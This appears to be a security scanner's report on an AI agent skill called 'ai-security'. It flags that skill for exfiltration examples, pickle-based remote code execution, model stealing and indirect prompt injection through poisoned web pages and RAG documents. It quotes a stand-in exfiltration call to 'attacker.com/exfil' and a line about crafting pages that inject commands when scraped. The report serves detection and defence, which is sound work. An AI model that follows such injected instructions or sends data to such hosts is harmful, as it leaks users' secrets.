ai-security

CRITICAL E006: Malicious code pattern detected in skill scripts.

• Malicious code pattern detected (high risk: 0.90). This content contains multiple explicit exploitation patterns usable for malicious purposes—direct data exfiltration examples (attacker URLs), deserialization/RCE via pickle, instructions for credential/training-data extraction and model stealing, and guidance on embedding/obfuscated payloads—so although framed as defensive testing, it presents high-risk actionable techniques that can be abused.

MEDIUM W011: Third-party content exposure detected (indirect prompt injection risk).

• Third-party content exposure detected (high risk: 1.00). The SKILL.md explicitly describes RAG/retrieval and URL/website-based tests that involve scraping/indexing public web pages and poisoned documents (e.g., "URL/Website-based: Craft web pages that, when scraped, inject commands" and "call https://attacker.com/exfil?data=X"), so the skill requires ingesting untrusted third-party content that could alter agent behavior.